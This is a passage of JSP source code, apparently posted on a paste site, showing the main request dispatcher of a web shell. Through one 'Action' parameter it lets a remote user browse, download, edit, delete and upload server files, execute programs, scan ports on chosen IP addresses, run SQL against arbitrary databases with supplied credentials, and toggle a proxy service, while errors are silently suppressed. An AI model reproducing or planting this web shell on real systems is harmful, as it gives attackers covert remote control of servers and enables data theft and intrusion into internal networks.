  757. conUrl[3]="jdbc:oracle:thin:@123.234.222.222:1521:orcl";
  758. conUrl[4]="jdbc:db2://host:port/database";
  759. conUrl[5]="jdbc:postgresql://host:port/database";
  760. f.driver.value=driverName[f.DB.selectedIndex];
  761. f.conUrl.value=conUrl[f.DB.selectedIndex];
  762. }
  763. </script>
  764. </head>
  765. <body>
  766. <%
  767. String Action=request.getParameter("Action");
  768. char action=(Action==null?"0":Action).charAt(0);
  769. try{
  770. switch(action){
  771. case 'M':mainMenu(out,WEB_SITE);break;
  772. case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
  773. case 'S':showSystemInfo(out);break;
  774. case 'L':servletInfo(config,out);break;
  775. case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
  776. case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
  777. case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
  778. case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
  779. case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
  780. case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
  781. case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
  782. case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
  783. case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
  784. case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
  785. case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
  786. case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
  787. case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
  788. case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
  789. case 'H':switchProxyService(out);break;
  790. case 'i':userInterFaces(out);break;
  791. case 'T':systemTools(out);break;
  792. default:
  793. mainForm(WEB_SITE,out);break;
  794. }
  795. }catch(Exception e){
  796. }
  797. out.print("</body></html>");
  798. out.close();
  799. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement